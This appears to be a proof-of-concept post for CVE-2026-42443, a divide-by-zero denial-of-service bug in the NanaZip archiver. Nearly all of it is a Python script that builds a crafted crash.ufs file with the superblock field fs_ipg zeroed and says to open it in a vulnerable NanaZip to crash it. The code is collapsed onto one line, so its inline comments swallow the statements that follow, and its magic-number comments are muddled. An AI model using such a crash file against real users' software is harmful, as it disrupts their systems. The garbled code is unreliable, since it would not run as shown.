CVE-2026-42443 NanaZip整数除零拒绝服务漏洞

import struct def create_poc_ufs(filename): # UFS Superblock structure (simplified) # fs_ipg offset in UFS2 is typically around 0x70 # We create a dummy header and set fs_ipg to 0 data = bytearray(1024) # Create 1KB dummy file # Magic number for UFS (e.g., 0x19540119 for UFS1, 0x19540119 for UFS2 usually similar or distinct) # Just setting a generic header to pass initial checks if possible, or just the specific field. # For PoC demonstration, we focus on the specific crash field. # Offset for fs_ipg in UFS2 superblock is 0x70 (112 decimal) # Setting fs_ipg (4 bytes) to 0 fs_ipg_offset = 0x70 struct.pack_into('<I', data, fs_ipg_offset, 0) with open(filename, 'wb') as f: f.write(data) print(f'PoC file created: {filename}') print('Open this file with vulnerable NanaZip to trigger the crash.') if __name__ == '__main__': create_poc_ufs('crash.ufs')